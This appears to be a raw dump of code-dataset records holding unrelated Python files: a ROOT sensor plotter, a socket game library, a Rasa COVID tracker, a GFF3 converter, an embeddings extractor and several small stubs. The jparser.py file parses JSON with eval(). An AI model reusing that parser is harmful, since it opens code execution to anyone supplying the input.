last_ival[0]:\n\t\t\t\tintervals_clear.remove(ival)\n\t\t\telse:\n\t\t\t\tintervals_clear.remove(last_ival)\n\t\t\t\tlast_ival = ival\n\t\telse:\n\t\t\tlast_ival = ival\n\tif len(intervals_clear) <= 1:\n\t\treturn intervals_clear\n\treturn intervals_clear\n\t\n\t\n\t#merge touching intervals\n\tintervals = intervals_clear.copy()\n\tlast_ival = intervals[0]\n\tfor ival in intervals[1:]:\n\t\tif ival[0] == last_ival[1]:\n\t\t\tnew_ival = (last_ival[0], ival[1])\n\t\t\tintervals_clear[intervals_clear.index(last_ival)] = new_ival\n\t\t\tintervals_clear.remove(ival)\n\t\t\tlast_ival = new_ival\n\t\telse:\n\t\t\tlast_ival = ival\n\treturn intervals_clear\n\t\ndef smooth(y, box_pts):\n box = np.ones(box_pts) / box_pts\n y_smooth = np.convolve(y, box, mode=\"same\")\n return y_smooth\n\t\t\t\n\t\ndef date_from_pos(data, pos):\n\tdates = list()\n\tfor p in pos:\n\t\tdates.append(str(datetime.fromtimestamp(data[\"timestamp\"][p])))\n\treturn dates\n\t\nif __name__ == \"__main__\":\n\tif len(sys.argv) < 2:\n\t\tprint(\"Usage: %s \" % sys.argv[0])\n\t\tsys.exit()\n\t\n\tdata = parse_hist(sys.argv[1])\n\n\tsensors = list(set(data.keys()) - {\"date\", \"time\", \"timestamp\"})\n\tsensors.sort()\n\tn = len(data[\"timestamp\"])\n\tif len(sensors) == 0:\n\t\tprint(\"No sensors found. Line with sensor names missing?\")\n\t\tsys.exit()\n\tprint(\"Got %i samples per sensor.\" % (n,))\n\tprint(\"Available sensors:\")\n\tfor i, sensor in enumerate(sensors):\n\t\tprint(\"(%i): %s\" % (i, sensor))\n\tselected_keys = list(filter(None, input(\"Sensors to display (comma separated): \").split(\",\")))\n\tif len(selected_keys) == 0:\n\t\tprint(\"No sensors selected.\")\n\t\texit()\n\tselected_keysp = list()\n\tfor key in selected_keys:\n\t\tif not key in sensors:\n\t\t\ttry:\n\t\t\t\tkey = sensors[int(key)]\n\t\t\texcept ValueError:\n\t\t\t\tprint(\"No such sensor \\\"%s\\\".\" % (key,))\n\t\t\t\tsys.exit()\n\t\t\texcept IndexError:\n\t\t\t\tprint(\"Sensor index out of range.\")\n\t\t\t\tsys.exit()\n\t\tselected_keysp.append(key)\n\t\t\n\tfor key in selected_keysp:\n\t\tprint(\"Got %i samples for sensor %s.\" % (len(data[key]) - data[key].count(NO_VALUE), key))\n\t\n\tgROOT.Reset()\n\tgStyle.SetCanvasPreferGL(True)\n\tfield = DATAFIELDS[\"\"]\n\tfor key in selected_keysp:\n\t\tif key.rsplit(\"_\", 1)[-1] in DATAFIELDS:\n\t\t\tfield = DATAFIELDS[key.rsplit(\"_\", 1)[-1]]\n\t\t\tbreak\n\tc1 = TCanvas(\"c1\", field[0], 200, 10, 700, 500)\n\tleg1 = TLegend(0.1, 0.9-0.03*len(selected_keysp), 0.3, 0.9)\n\t#c1_h1 = TH2F(\"c1_h1\", \"Graph\", 10, np.min(data[\"timestamp\"]), np.max(data[\"timestamp\"]), 10, -10, 35)\n\t#c1_h1.SetStats(False)\n\t#c1_h1.Draw()\n\t\n\tline_graphs = list()\n\tfor key in selected_keysp:\n\t\tprint(\"Replacing errors...\")\n\t\treplace_stray_samples(data[key], 2)\n\t\tprint(\"Plotting...\")\n\t\tg1 = TGraph(n, data[\"timestamp\"], data[key])\n\t\tx_axis = g1.GetXaxis()\n\t\tx_axis.SetTimeDisplay(1)\n\t\tx_axis.SetTitle(\"Time\")\n\t\ty_axis = g1.GetYaxis()\n\t\ty_axis.SetRangeUser(-10, 40)\n\t\ty_axis.SetTitle(field[1])\n\t\tx_axis.SetTimeFormat(\"%H:%M:%S\")\n\t\tg1.SetMarkerColor(2)\n\t\tg1.SetLineColor(len(line_graphs) + 2)\n\t\tg1.SetEditable(False)\n\t\tg1.Draw(\"AL\" if len(line_graphs) == 0 else \"L\")\n\t\t#g1.Draw(\"L\")\n\t\tline_graphs.append(g1)\n\t\tleg1.AddEntry(g1, key)\n\t\n\t\tc1.Update()\n\t\tleg1.Draw()\n\t\t\n\tif len(selected_keysp) > 1:\n\t\tdata_of_interest = np.array([data[key] for key in selected_keysp])\n\t\t#data_diff = np.abs(data_of_interest.max(0) - data_of_interest.min(0))\n\t\tdata_std = data_of_interest.std(0)\n\t\tdata_mean = data_of_interest.mean(0)\n\t\t\n\t\tprint(\"Computing extrema...\")\n\t\t#Smooth the data so that extrema are easily detectable\n\t\tsmoothed = smooth(data_mean, n//5)\n\t\tpos_min = (np.diff(np.sign(np.diff(smoothed))) > 0).nonzero()[0] + 1\n\t\tpos_max = (np.diff(np.sign(np.diff(smoothed))) < 0).nonzero()[0] + 1\n\t\tpos_extrema = np.sort(np.concatenate((pos_min, pos_max)))\n\t\tpos_extrema = np.insert(pos_extrema, 0, 0)\n\t\tpos_extrema = np.append(pos_extrema, len(smoothed)-1)\n\t\textrema = list()\n\t\tfor i, length in enumerate(np.diff(pos_extrema)):\n\t\t\t#Filter out extrema that are very close to one another\n\t\t\tif length > 10:\n\t\t\t\textrema.append((int(pos_extrema[i+1]), pos_extrema[i+1] in pos_max))\n\t\t\n\t\tprint(\"Plotting...\")\n\t\tc_diff = TCanvas(\"c_diff\", \"Differences\", 200, 10, 700, 500)\n\t\tc_diff_hist = TH2F(\"h1\", \"Deviation\", 10, -10, 30, 10, 0, 3)\n\t\tc_diff_hist.SetStats(False)\n\t\tc_diff_hist.Draw()\n\t\t\n\t\tdiff_graphs = list()\n\t\tprev_pos = 0\n\t\tfor pos_extremum, is_maximum in extrema:\n\t\t\tg_diff = TGraph(pos_extremum - prev_pos, data_mean[prev_pos:pos_extremum], data_std[prev_pos:pos_extremum])\n\t\t\tg_diff.SetTitle(\"Deviation\")\n\t\t\tx_axis = g_diff.GetXaxis()\n\t\t\t#x_axis.SetTimeDisplay(1)\n\t\t\t#x_axis.SetTitle(\"Time\")\n\t\t\t#x_axis.SetTimeFormat(\"%H:%M:%S\")\n\t\t\tx_axis.SetTitle(field[2])\n\t\t\tx_axis.SetRangeUser(-10, 40)\n\t\t\ty_axis = g_diff.GetYaxis()\n\t\t\ty_axis.SetRangeUser(0, 3)\n\t\t\ty_axis.SetTitle(\"Deviation\")\n\t\t\tg_diff.SetLineColor(2 if is_maximum else 4)\n\t\t\tg_diff.SetEditable(False)\n\t\t\tg_diff.Draw(\"L\")\n\t\t\tc_diff.Update()\n\t\t\tprev_pos = pos_extremum\n\t\t\tdiff_graphs.append(g_diff)\n\t\tleg_diff = TLegend(0.1, 0.8, 0.3, 0.9)\n\t\tlegend_has_inc = False\n\t\tlegend_has_dec = False\n\t\tfor graph in diff_graphs:\n\t\t\tif not legend_has_inc and graph.GetLineColor() == 2:\n\t\t\t\tleg_diff.AddEntry(graph, \"Increasing Temp\")\n\t\t\t\tlegend_has_inc = True\n\t\t\telif not legend_has_dec and graph.GetLineColor() != 2:\n\t\t\t\tleg_diff.AddEntry(graph, \"Decreasing Temp\")\n\t\t\t\tlegend_has_dec = True\n\t\tleg_diff.Draw()\n\t\tc_diff.Update()\n\t\n\tanswer = input(\"Search for constant intervals? \")\n\tif len(answer) > 0 and answer.lower()[0] == \"y\":\n\t\tif str(type(c1)) == \"\":\n\t\t\tprint(\"Canvas was closed.\")\n\t\t\tsys.exit()\n\t\tinterval_mean = list()\n\t\tinterval_std = list()\n\t\tinterval_inc = list()\n\t\t\n\t\terror_graphs = list()\n\t\tfor key in selected_keysp:\n\t\t\tprint(\"Searching constant intervals...\")\n\t\t\tconst_intervals = find_constant_intervals(data[key], 50, 0.3)\n\n\t\t\tprint(\"Plotting...\")\n\t\t\tg4 = TGraphErrors(len(const_intervals))\n\t\t\tlast_mean = NO_VALUE\n\t\t\tprint(\"Mean±STD Interval_width(seconds) Interval_width(samples)\")\n\t\t\tfor i, ival in enumerate(const_intervals):\n\t\t\t\tpart = data[key][ival[0]:ival[1]]\n\t\t\t\tex = (data[\"timestamp\"][ival[1]] - data[\"timestamp\"][ival[0]]) / 2\n\t\t\t\tx = data[\"timestamp\"][ival[0]] + ex\n\t\t\t\ty = np.mean(part)\n\t\t\t\tey = np.std(part)\n\t\t\t\tprint(\"%.3f±%.3f %.3f %i\" % (y, ey, ex, ival[1]-ival[0]))\n\t\t\t\tg4.SetPoint(i, x, y)\n\t\t\t\tg4.SetPointError(i, ex, ey)\n\t\t\t\tinterval_mean.append(y)\n\t\t\t\tinterval_std.append(ey)\n\t\t\t\tinterval_inc.append(last_mean < y)\n\t\t\t\tlast_mean = y\n\n\t\t\tg4.SetEditable(False)\n\t\t\tg4.SetMarkerColor(4)\n\t\t\tg4.SetMarkerStyle(21)\n\t\t\tg4.Draw(\"P\")\n\t\t\terror_graphs.append(g4)\n\n\t\t\tc1.Update()\n\t\t\n\t\tif len(interval_std) > 0:\n\t\t\tprint(\"Mean of all STD values: %0.3f\" % (np.mean(interval_std)))\n\n\t\t#img = TImage.Create()\n\t\t#img.FromPad(c1)\n\t\t#img.WriteImage(\"canvas.png\")\n\n\t\t#sort the interval values according to their mean values\n\t\tinterval_std = [y for (x,y) in sorted(zip(interval_mean, interval_std), key = lambda pair: pair[0])]\n\t\tinterval_inc = [y for (x,y) in sorted(zip(interval_mean, interval_inc), key = lambda pair: pair[0])]\n\t\tinterval_mean.sort()\n\t\tc2 = TCanvas(\"c2\", \"Mean and deviantion\", 200, 10, 700, 500)\n\t\tn_points = interval_inc.count(True)\n\t\tif n_points != 0:\n\t\t\tg5 = TGraph(n_points)\n\t\t\tg5.SetName(\"g5\")\n\t\t\tg5.SetTitle(\"Deviation over constant intervals\")\n\t\t\tg5.SetMarkerColor(2)\n\t\t\tg5.SetMarkerStyle(21)\n\t\t\tg5.SetEditable(False)\n\t\t\n\t\tn_points = interval_inc.count(False)\n\t\tif n_points != 0:\n\t\t\tg6 = TGraph(n_points)\n\t\t\tg6.SetName(\"g6\")\n\t\t\tg6.SetTitle(\"Deviation over constant intervals\")\n\t\t\tg6.SetMarkerColor(4)\n\t\t\tg6.SetMarkerStyle(21)\n\t\t\tg6.SetEditable(False)\n\t\t\t\n\t\ti, j = 0, 0\n\t\tfor ival_mean, ival_std, ival_inc in zip(interval_mean, interval_std, interval_inc):\n\t\t\tif ival_inc:\n\t\t\t\tg5.SetPoint(i, ival_mean, ival_std)\n\t\t\t\ti += 1\n\t\t\telse:\n\t\t\t\tg6.SetPoint(j, ival_mean, ival_std)\n\t\t\t\tj += 1\n\t\t\t\t\n\t\tleg2 = TLegend(0.1, 0.8, 0.3, 0.9)\n\t\tif i > 0:\n\t\t\tg5.Draw(\"AP\")\n\t\t\tg5.GetXaxis().SetTitle(field[2])\n\t\t\tg5.GetYaxis().SetTitle(\"Standard deviation\")\n\t\t\tleg2.AddEntry(g5, \"Increasing Temp\")\n\t\tif j > 0:\n\t\t\tg6.Draw(\"P\")\n\t\t\tg6.GetXaxis().SetTitle(field[2])\n\t\t\tg6.GetYaxis().SetTitle(\"Standard deviation\")\n\t\t\tleg2.AddEntry(g6, \"Decreasing Temp\")\n\n\t\tleg2.Draw()\n\t\t\n\t\tc2.Update()\ninput(\"Press enter to exit.\")\n","sub_path":"graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":11161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"197390697","text":"import socket\r\n\r\n\r\nclass serverSocket:\r\n\r\n def __init__(self):\r\n self.hostIp = ''\r\n self.hostPort = 0\r\n\r\n def getData(self, a, b):\r\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sck:\r\n connTuple = (a, b)\r\n sck.bind(connTuple)\r\n sck.listen()\r\n conn, addr = sck.accept()\r\n with conn:\r\n while True:\r\n data = conn.recv(1024)\r\n idata = int.from_bytes(data, byteorder=\"little\")\r\n pdatax = int(str(idata)[0])\r\n pdatay = int(str(idata)[-1])\r\n return (pdatax, pdatay)\r\n if not data:\r\n break\r\n\r\n\r\nclass clientSocket:\r\n\r\n def __init__(self):\r\n self.serverIp = ''\r\n self.serverPort = 0\r\n\r\n def setConnData(self, sip, sprt):\r\n self.serverIp = sip\r\n self.serverPort = sprt\r\n\r\n def sendCoords(self, playerX, playerY):\r\n info = int(str(playerX) + str(playerY))\r\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sck:\r\n sck.connect((self.serverIp, self.serverPort))\r\n sck.sendall(info.to_bytes(2, byteorder=\"little\"))\r\n data = sck.recv(1024)","sub_path":"game_network_module/GameNetLib.py","file_name":"GameNetLib.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"306848409","text":"###################\n# #\n# JSON Parser #\n#The API uses JSON#\n###################\ndef jparse(json):\n j = str(json) # basically replacing JavaScript types with the Python equivalents\n j = j.replace(\"null\", \"None\")\n j = j.replace(\"false\", \"False\")\n j = j.replace(\"true\", \"True\")\n j = j.replace(\"\\n\", \"\")\n # now, j is basically a dict that is in quotes (a string)\n return eval(j) # eval turns the string into a legal py datatype\n","sub_path":"jparser.py","file_name":"jparser.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"134247916","text":"import collections\nimport logging\nimport os\n\nimport h5py\nimport torch\n\nfrom kiperwasser_main import transform_to_conllu\nfrom uniparse import Vocabulary, ParserModel\nfrom uniparse.models.kiperwasser_pytorch import DependencyParser as DependencyParserPytorch\nimport torch.nn as nn\nimport numpy as np\n\n\"\"\" \nWe decouple the model to extract and use embeddings, generating separate LSTM for each layer and direction.\n\n- TODO make sure that a K&G parser with those decoupled LSTM raises the same results as one trained with original biLSTM. \n\"\"\"\n\n\nclass EmbeddingsExtractor(object):\n\n def __init__(self, logging_file, model_config):\n\n # configure logging\n self.logging_file = logging_file\n self._configure_logging()\n\n self.model_config = model_config\n logging.info(model_config)\n\n # load vocabulary, parser and model\n self._load_model()\n\n # create lstms\n self._create_lstms()\n\n def _configure_logging(self):\n logging.basicConfig(filename=self.logging_file,\n level=logging.DEBUG,\n format=\"%(asctime)s:%(levelname)s:\\t%(message)s\")\n\n def _load_model(self):\n \"\"\" load original K&G model and vocab\n \"\"\"\n self.vocab = Vocabulary(self.model_config['only_words'])\n self.vocab.load(self.model_config['vocab_file'])\n self.parser = DependencyParserPytorch(self.vocab, self.model_config['upos_dim'], self.model_config['word_dim'], self.model_config['hidden_dim'])\n self.model = ParserModel(self.parser, decoder=\"eisner\", loss=\"kiperwasser\", optimizer=\"adam\", strategy=\"bucket\", vocab=self.vocab)\n self.model.load_from_file(self.model_config['model_file'])\n\n def _create_lstms(self):\n # create and initialize FWD and BWD biLSTMs with model parameters\n\n input_size = self.model_config['word_dim'] + self.model_config['upos_dim']\n\n state_dict = self.parser.deep_bilstm.state_dict()\n\n self.lstm_fwd_0 = nn.LSTM(input_size=input_size, hidden_size=self.model_config['hidden_dim'], num_layers=1, batch_first=True, bidirectional=False)\n new_state_dict = collections.OrderedDict()\n new_state_dict['weight_hh_l0'] = state_dict['lstm.weight_hh_l0']\n new_state_dict['weight_ih_l0'] = state_dict['lstm.weight_ih_l0']\n new_state_dict['bias_hh_l0'] = state_dict['lstm.bias_hh_l0']\n new_state_dict['bias_ih_l0'] = state_dict['lstm.bias_ih_l0']\n self.lstm_fwd_0.load_state_dict(new_state_dict)\n\n self.lstm_bwd_0 = nn.LSTM(input_size=input_size, hidden_size=self.model_config['hidden_dim'], num_layers=1, batch_first=True, bidirectional=False)\n new_state_dict = collections.OrderedDict()\n new_state_dict['weight_hh_l0'] = state_dict['lstm.weight_hh_l0_reverse']\n new_state_dict['weight_ih_l0'] = state_dict['lstm.weight_ih_l0_reverse']\n new_state_dict['bias_hh_l0'] = state_dict['lstm.bias_hh_l0_reverse']\n new_state_dict['bias_ih_l0'] = state_dict['lstm.bias_ih_l0_reverse']\n self.lstm_bwd_0.load_state_dict(new_state_dict)\n\n # NOTICE! input_size = 2*hidden_dim?\n self.lstm_fwd_1 = nn.LSTM(input_size=2*self.model_config['hidden_dim'], hidden_size=self.model_config['hidden_dim'], num_layers=1, batch_first=True, bidirectional=False)\n new_state_dict = collections.OrderedDict()\n new_state_dict['weight_hh_l0'] = state_dict['lstm.weight_hh_l1']\n new_state_dict['weight_ih_l0'] = state_dict['lstm.weight_ih_l1']\n new_state_dict['bias_hh_l0'] = state_dict['lstm.bias_hh_l1']\n new_state_dict['bias_ih_l0'] = state_dict['lstm.bias_ih_l1']\n self.lstm_fwd_1.load_state_dict(new_state_dict)\n\n # NOTICE! input_size = 2*hidden_dim?\n self.lstm_bwd_1 = nn.LSTM(input_size=2*self.model_config['hidden_dim'], hidden_size=self.model_config['hidden_dim'], num_layers=1, batch_first=True, bidirectional=False)\n new_state_dict = collections.OrderedDict()\n new_state_dict['weight_hh_l0'] = state_dict['lstm.weight_hh_l1_reverse']\n new_state_dict['weight_ih_l0'] = state_dict['lstm.weight_ih_l1_reverse']\n new_state_dict['bias_hh_l0'] = state_dict['lstm.bias_hh_l1_reverse']\n new_state_dict['bias_ih_l0'] = state_dict['lstm.bias_ih_l1_reverse']\n self.lstm_bwd_1.load_state_dict(new_state_dict)\n\n def generate_embeddings(self, input_file):\n\n logging.info(\"\\n\\n\\n===================================================================================================\")\n logging.info(\"Generating K&G contextual embeddings for %s\" % input_file)\n logging.info(\"===================================================================================================\\n\")\n\n # generate tokenized data\n tokenized_sentences = self.vocab.tokenize_conll(input_file)\n\n embs = {}\n for i, sample in enumerate(tokenized_sentences):\n self.model.backend.renew_cg() # for pytorch it is just 'pass'\n\n # get embeddings\n\n words, lemmas, tags, heads, rels, chars = sample\n\n words = self.model.backend.input_tensor(np.array([words]), dtype=\"int\")\n tags = self.model.backend.input_tensor(np.array([tags]), dtype=\"int\")\n\n word_embs = self.parser.wlookup(words)\n tags_embs = self.parser.tlookup(tags) # TODO think if it makes sense to use tag_embs or not!\n\n input_data0 = torch.cat([word_embs, tags_embs], dim=-1) # dim 1x8x125 (if we have 8 words in the sentence)\n input_data0_reversed = torch.flip(input_data0, (1,))\n\n # feed data\n\n out_lstm_fwd_0, hidden_lstm_fwd_0 = self.lstm_fwd_0(input_data0)\n out_lstm_bwd_0, hidden_lstm_bwd_0 = self.lstm_bwd_0(input_data0_reversed)\n\n input_data1 = torch.cat((out_lstm_fwd_0, out_lstm_bwd_0), 2)\n input_data1_reversed = torch.flip(input_data1, (1,))\n out_lstm_fwd_1, hidden_lstm_fwd_1 = self.lstm_fwd_1(input_data1)\n out_lstm_bwd_1, hidden_lstm_bwd_1 = self.lstm_bwd_1(input_data1_reversed)\n\n # generate embeddings\n\n out_lstm_bwd_0 = torch.flip(out_lstm_bwd_0, (1,))\n out_lstm_bwd_1 = torch.flip(out_lstm_bwd_1, (1,))\n\n # TODO in ELMo they perform a task-dependant weighted sum of the concatenation of L0 (initial embeddings), L1 and L2;\n # As our input has varying sizes and we are not weighting the layers, we'll just concatenate everything.\n # TODO for the syntactic probes, ELMo stores sepparately the three layers, so maybe we can do the same at least with layer 0 and layer1 ¿?\n sentence_embeddings = torch.cat((input_data0, out_lstm_fwd_0, out_lstm_bwd_0, out_lstm_fwd_1, out_lstm_bwd_1), 2) # 1 x 8 x 125+100+100+100+100 = 525\n embs[i] = sentence_embeddings\n\n return embs\n\n @staticmethod\n def save_to_hdf5(embeddings, file_path, skip_root=False):\n # save embeddings in hdf5 format\n\n # Write contextual word representations to disk for each of the train, dev, and test split in hdf5 format, where the\n # index of the sentence in the conllx file is the key to the hdf5 dataset object. That is, your dataset file should\n # look a bit like {'0': , '1':...}, etc.\n # Note here that SEQLEN for each sentence must be the number of tokens in the sentence as specified by the conllx file.\n\n with h5py.File(file_path, 'w') as f:\n for k, v in embeddings.items():\n logging.info('creating dataset for k %s' % str(k))\n sentence_embs = v.detach().numpy()\n if skip_root:\n sentence_embs = sentence_embs[:, 1:, :]\n f.create_dataset(str(k), data=sentence_embs)\n\n @staticmethod\n def check_hdf5_file(file_path):\n\n with h5py.File(file_path, 'r') as f:\n for item in f.items():\n logging.info(item)\n\n\nif __name__ == '__main__':\n\n input_files = ['/home/lpmayos/hd/code/structural-probes/lpmayos_tests/data/en_ewt-ud-sample/en_ewt-ud-dev.conllu',\n '/home/lpmayos/hd/code/structural-probes/lpmayos_tests/data/en_ewt-ud-sample/en_ewt-ud-test.conllu',\n '/home/lpmayos/hd/code/structural-probes/lpmayos_tests/data/en_ewt-ud-sample/en_ewt-ud-train.conllu']\n\n model_config = {\n 'vocab_file': '/home/lpmayos/hd/code/UniParse/models/kiperwasser_pytorch/ud/only_words_false/toy_runs/run1/vocab.pkl',\n 'model_file': '/home/lpmayos/hd/code/UniParse/models/kiperwasser_pytorch/ud/only_words_false/toy_runs/run1/model.model',\n 'only_words': False,\n 'upos_dim': 25,\n 'word_dim': 100,\n 'hidden_dim': 100\n }\n\n output_folder = '/home/lpmayos/hd/code/structural-probes/lpmayos_tests/data/en_ewt-ud-sample/kg_ctx_embs_owtrue_hid100/'\n if not os.path.exists(output_folder):\n os.makedirs(output_folder)\n\n logging_file = output_folder + 'logging.log'\n\n embeddings_extractor = EmbeddingsExtractor(logging_file, model_config)\n\n for file_path in input_files:\n file_path = transform_to_conllu(file_path)\n\n # compute embeddings\n\n embs = embeddings_extractor.generate_embeddings(file_path)\n\n # save embeddings in hdf5 format\n\n output_file = output_folder + file_path.split('/')[-1].replace('.conllu', '.kg-layers.hdf5')\n embeddings_extractor.save_to_hdf5(embs, output_file, skip_root=True)\n\n # check that embeddings were correctly saved\n\n embeddings_extractor.check_hdf5_file(output_file)\n","sub_path":"kiperwasser_contextual_embeddings_pytorch_demo.py","file_name":"kiperwasser_contextual_embeddings_pytorch_demo.py","file_ext":"py","file_size_in_byte":9671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"312810147","text":"# This files contains your custom actions which can be used to run\n# custom Python code.\n#\n# See this guide on how to implement these action:\n# https://rasa.com/docs/rasa/core/actions/#custom-actions/\n\n\n# This is a simple example for a custom action which utters \"Hello World!\"\n\nfrom typing import Any, Text, Dict, List\nfrom rasa_sdk import Action, Tracker\nfrom rasa_sdk.executor import CollectingDispatcher\nimport pandas as pd\nimport datetime\ncurrent_time = datetime.datetime.now()\na = str(int(current_time.day) - 1).zfill(2)\ndate = str(current_time.month).zfill(2) + \"-\" + a + \"-2020\"\nurl = \"https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/csse_covid_19_daily_reports/{}.csv\".format(date)\ndf = pd.read_csv(url, error_bad_lines=False)\nnew = df[['Province_State', 'Country_Region', 'Confirmed','Active','Recovered','Deaths']]\nclass ActionCoronaTracker(Action):\n\n def name(self) -> Text:\n return \"action_find_and_show_corona_status\"\n\n def run(self, dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any]) -> List[Dict[Text, Any]]:\n \n entities = tracker.latest_message['entities']\n state = tracker.get_slot(\"state\")\n for e in entities:\n if e['entity'] == \"state\":\n state = e['value']\n message = \"Please enter valid state\"\n for d in new.index:\n if str(new['Province_State'][d]).lower() == str(state).lower():\n message = \" State:\" + new['Province_State'][d] +\"\\n\" + \" Country:\" + new['Country_Region'][d] +\"\\n\" + \" Active Cases:\" + str(new['Active'][d]) +\"\\n\" + \" Confirmed Cases:\" + str(new['Confirmed'][d]) +\"\\n\" + \" Deaths:\" + str(new['Deaths'][d])\n dispatcher.utter_message(text=message)\n state = None\n return []\n","sub_path":"COVID-Tracker-bot/actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"150711906","text":"#!/usr/bin/env python3\n# -*- coding: utf8 -*-\n\n# Gaik Tamazian, 2019\n# mail (at) gtamazian (dot) com\n\n\"\"\"\nConvert a GFF3 file to the BED12 format.\n\nThe script converts gene records from a GFF3 file to the BED12 format.\nEach gene transcript is converted to one line in the output file. The\nconverted file is printed to standard output.\n\"\"\"\n\nimport sys\nfrom .. import bed\nfrom .. import gff3\n\nassert sys.version_info >= (3, 5), \"Python 3.5 or higher required\"\n\n\ndef gff3_bed12(gff3_fname):\n \"\"\"\n Convert a GFF3 file to the BED12 format and print to standard\n output.\n\n :param gff3_fname: a GFF3 file name\n \"\"\"\n for _, transcripts in gff3.iterate_genes(gff3_fname):\n for k in transcripts:\n print(bed.print_line(bed.gff3_bed12(k[1], k[0][-1][\"ID\"])))\n\n\ndef main(args):\n if len(args) != 2:\n print(\"Usage: gff3_bed12 genes.gff3\", file=sys.stderr)\n sys.exit(1)\n gff3_bed12(args[1])\n\n\nif __name__ == \"__main__\":\n main(sys.argv)\n","sub_path":"bioformats/scripts/gff3_bed12.py","file_name":"gff3_bed12.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"134476909","text":"#!/usr/bin/env python3\n\n\nfrom DockerBuild import DockerBuild\nimport setuptools\n\n\nentries = {'console_scripts': ['DockerBuild=DockerBuild.DockerBuild:main']}\npackages = ['DockerBuild']\ndata_files = []\ninstall_requires=[\n 'requests'\n]\ndescription=DockerBuild.short_description\nlong_description=DockerBuild.gen_description\n\n\nif __name__ == '__main__':\n setuptools.setup(\n name='DockerBuild',\n version=DockerBuild.version,\n packages=packages,\n entry_points=entries,\n data_files=data_files,\n install_requires=install_requires,\n author=\"Javier Moreno\",\n author_email=\"jgmore@gmail.com\",\n description=description,\n long_description_content_type=\"text/markdown\",\n long_description=long_description,\n url=\"https://github.com/qeyup/DockerBuild\",\n )\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"216016378","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('base', '0002_purchase_create_at'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='FileUpload',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('file_upload', models.FileField(upload_to=b'upload/2015/3/14', verbose_name='Arquivo')),\n ('create_at', models.DateTimeField(auto_now_add=True)),\n ],\n options={\n 'verbose_name_plural': 'Arquivos',\n },\n bases=(models.Model,),\n ),\n migrations.AlterModelOptions(\n name='purchase',\n options={'verbose_name_plural': 'Compras'},\n ),\n migrations.AddField(\n model_name='purchase',\n name='file_upload',\n field=models.ForeignKey(default=None, to='base.FileUpload'),\n preserve_default=False,\n ),\n ]\n","sub_path":"base/migrations/0003_auto_20150314_1547.py","file_name":"0003_auto_20150314_1547.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"446103311","text":"import os\nfrom gi.repository import Gtk\nfrom gi.repository import GObject\nfrom gi.repository import Gdk\n\nclass MainWindow(Gtk.Window):\n\n # -- Window Initialization\n def __init__(self):\n\n self.window = Gtk.Window()\n self.window.set_position(Gtk.WindowPosition.CENTER)\n self.window.set_opacity(0.75)\n self.window.resize(500, 100)\n self.window.set_modal(True)\n self.PATH = os.path.dirname(os.path.realpath(__file__))\n self.window_pos = open(self.PATH + '/window_pos', 'r')\n if self.window_pos.readline() != '':\n self.window_pos.close()\n self.window_pos = open(self.PATH + '/window_pos', 'r')\n self.move(self.window_pos)\n\n # self.window.set_decorated(False)\n self.window.set_keep_above(True)\n self.box = Gtk.Box(spacing=0)\n self.window.add(self.box)\n self.window.connect(\"button-press-event\", self.test)\n self._draw_label()\n\n\n def test(self):\n print(\"clicked\")\n\n # -- Add a label to the window\n def _draw_label(self):\n\n self.label_lyrics = Gtk.Label(label=\"\")\n self.box.pack_start(self.label_lyrics, True, True, 0)\n\n def begin_move_drag(self):\n self.window.begin_move_drag()\n\n def close(self):\n '''\n Post: Close window\n '''\n\n window_pos = open(self.PATH + '/window_pos', 'w')\n window_pos.write(str(self.window.get_position()))\n window_pos.close()\n Gtk.main_quit()\n\n def move(self, window_pos):\n '''\n Post: Move window to previous location on screen\n '''\n\n #Parse available text into usable floats\n window_pos_values = window_pos.readline().strip(')')\n window_pos_values = window_pos_values.strip('(')\n window_pos_values = window_pos_values.split(', ')\n window_pos_x = float(window_pos_values[0])\n window_pos_y = float(window_pos_values[1])\n\n #Move window to passed coordinates (via window_pos file)\n self.window.move(window_pos_x, window_pos_y)\n window_pos.close()\n\n # -- Updates the label_lyrics label property.\n def update_lyrics(self, text):\n '''\n Pre: text is a valid string\n post: Alters the text of the label_lyrics element\n '''\n self.label_lyrics.set_label(text)\n\n # -- Shows the window\n def show(self):\n\n self.window.show_all()\n\n\n\n","sub_path":"window_build.py","file_name":"window_build.py","file_ext":"py","file_size_in_byte":2407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"237478750","text":"## Problem Description.\n# ref: https://leetcode.com/problems/same-tree/\n# Difficulty: Easy\n#\n# Given two binary trees, write a function to check if they are equal or not.\n# Two binary trees are considered equal if they are structurally identical and the nodes have the same value. \n\n# Solution References\n# @link http://fisherlei.blogspot.com/2013/03/leetcode-same-tree-solution.html\n\n# similar problems\n# - https://leetcode.com/problems/symmetric-tree/\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Solution:\n # @param {TreeNode} p\n # @param {TreeNode} 